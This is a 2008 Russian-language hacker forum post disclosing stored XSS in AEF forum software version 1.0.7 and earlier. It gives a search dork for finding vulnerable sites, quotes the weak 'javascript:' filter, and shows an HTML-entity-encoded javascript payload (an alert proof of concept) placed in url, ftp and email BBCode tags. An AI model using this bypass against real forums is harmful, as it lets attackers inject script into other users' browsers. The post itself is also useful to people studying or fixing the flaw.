Показать сообщение отдельно

Aef <= 1.0.7 Активные Xss
  #1  
Старый 04.10.2008, 21:34
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами: 10483586

Репутация: 5826


По умолчанию Aef <= 1.0.7 Активные Xss

AEF <= 1.0.7 Активные XSS

Дорк: Powered By AEF 1.0.

Уязвимы сразу несколько тегов, т.к. проверка там везде однинаковая.
Поразительно тупую защиту от XSS:

Код:
function check_url($href, $name){
	
	$href = preg_replace("/javascript:/i", "javascript-aef: ", $href);
	
	return '<a href="'.$href.'" target="_blank">'.$name.'</a>';

}
обойти проще некуда - достаточно перекодировать скрипт:

Код:
javascript:alert('Grey') => HTML (with semicolons): => &#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x47;&#x72;&#x65;&#x79;&#x27;&#x29;
Уязвимы теги: [url*], [ftp*], [email*].

Эксплуатация: при добавление сообщения, добавляем один из уязвимых тегов.

К примеру [url*]:

Код:
[url*=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x47;&#x72;&#x65;&#x79;&#x27;&#x29;]нажми на меня[/url*]
при переходе по ссылке выполнится скрипт.

Символ "*" - следует убрать.

Последний раз редактировалось Grey; 04.10.2008 в 21:37..
 
Ответить с цитированием